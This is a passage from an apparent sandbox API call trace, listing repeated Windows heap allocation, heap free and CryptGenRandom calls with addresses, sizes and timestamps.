(HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0135.883] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0135.887] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662f5c | out: pbBuffer=0x3662f5c) returned 1 [0135.890] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662944 | out: pbBuffer=0x3662944) returned 1 [0135.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0135.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0135.890] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0135.890] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0135.894] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662764 | out: pbBuffer=0x3662764) returned 1 [0135.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0135.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0135.897] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662714 | out: pbBuffer=0x3662714) returned 1 [0135.897] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0135.901] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36628f4 | out: pbBuffer=0x36628f4) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0135.901] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.901] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f78 [0135.904] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ebc | out: pbBuffer=0x3662ebc) returned 1 [0135.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0135.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0135.905] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0135.908] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e1c | out: pbBuffer=0x3662e1c) returned 1 [0135.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0135.908] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0135.908] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0135.912] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0135.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0135.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0135.912] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5eb0 [0135.916] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0135.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0135.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0135.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0135.920] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664624 | out: pbBuffer=0x3664624) returned 1 [0135.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0135.920] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0135.920] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0135.923] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664674 | out: pbBuffer=0x3664674) returned 1 [0135.926] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0135.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0135.926] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.926] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ed8 [0135.930] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36644bc | out: pbBuffer=0x36644bc) returned 1 [0135.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0135.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.934] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0135.934] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.937] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0135.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0135.937] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0135.937] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0135.944] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0135.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.944] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0135.944] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0135.948] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366405c | out: pbBuffer=0x366405c) returned 1 [0135.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0135.948] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0135.948] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0135.952] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0135.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0135.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0135.952] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0135.955] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0135.955] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.956] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0135.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.959] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36647dc | out: pbBuffer=0x36647dc) returned 1 [0135.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.959] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0135.959] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0135.973] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e94 | out: pbBuffer=0x3662e94) returned 1 [0135.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4598 [0135.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0135.977] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0135.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0135.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0135.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0135.980] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d54 | out: pbBuffer=0x3662d54) returned 1 [0135.984] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0135.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0135.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0135.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0135.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0135.988] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0135.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0135.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0135.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0135.991] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b9c | out: pbBuffer=0x3664b9c) returned 1 [0135.991] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0135.994] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664cdc | out: pbBuffer=0x3664cdc) returned 1 [0135.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0135.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0135.995] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0135.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0135.998] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0135.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0135.998] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0135.998] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0136.002] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664ee4 | out: pbBuffer=0x3664ee4) returned 1 [0136.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0136.002] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3f78 [0136.002] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0136.005] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0136.009] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366832c | out: pbBuffer=0x366832c) returned 1 [0136.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0136.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0136.009] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0136.009] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.013] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680d4 | out: pbBuffer=0x36680d4) returned 1 [0136.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0136.013] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0136.013] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0136.016] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d2c | out: pbBuffer=0x3668d2c) returned 1 [0136.020] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680fc | out: pbBuffer=0x36680fc) returned 1 [0136.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0136.020] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.020] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.023] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0136.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0136.023] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0136.023] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0136.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36685fc | out: pbBuffer=0x36685fc) returned 1 [0136.027] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0136.030] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668dcc | out: pbBuffer=0x3668dcc) returned 1 [0136.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0136.031] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.031] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.034] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0136.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0136.034] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0136.034] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0136.038] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668c14 | out: pbBuffer=0x3668c14) returned 1 [0136.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0136.038] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0136.038] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0136.041] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366814c | out: pbBuffer=0x366814c) returned 1 [0136.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.041] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0136.041] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.042] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.045] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36682dc | out: pbBuffer=0x36682dc) returned 1 [0136.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.045] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0136.045] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.049] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0136.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.049] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0136.049] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.052] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668854 | out: pbBuffer=0x3668854) returned 1 [0136.055] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366891c | out: pbBuffer=0x366891c) returned 1 [0136.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0136.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.062] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662c3c | out: pbBuffer=0x3662c3c) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0136.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0136.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0136.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.065] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cdc | out: pbBuffer=0x3662cdc) returned 1 [0136.069] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36629bc | out: pbBuffer=0x36629bc) returned 1 [0136.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0136.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0136.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0136.072] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662cb4 | out: pbBuffer=0x3662cb4) returned 1 [0136.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0136.072] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0136.072] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0136.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5f00 [0136.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662d7c | out: pbBuffer=0x3662d7c) returned 1 [0136.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0136.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4bb8 [0136.077] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0136.083] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0136.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.083] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0136.083] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.091] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366478c | out: pbBuffer=0x366478c) returned 1 [0136.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0136.091] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0136.091] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0136.098] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0136.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0136.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0136.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0136.119] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1ec | out: pbBuffer=0x366b1ec) returned 1 [0136.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0136.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0136.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0136.150] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0136.156] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0136.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0136.156] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.156] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4f00 [0136.176] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668bec | out: pbBuffer=0x3668bec) returned 1 [0136.929] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0136.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0136.930] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5670 [0136.930] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0136.935] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0136.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0136.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.940] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab24 | out: pbBuffer=0x366ab24) returned 1 [0136.940] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0136.968] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a69c | out: pbBuffer=0x366a69c) returned 1 [0136.968] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0136.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0136.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0136.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4eb0 [0136.972] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0136.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0136.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0136.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0136.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c4b90 [0136.977] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9e4 | out: pbBuffer=0x366a9e4) returned 1 [0136.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0136.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0136.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0137.009] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0137.009] RtlAllocateHeap 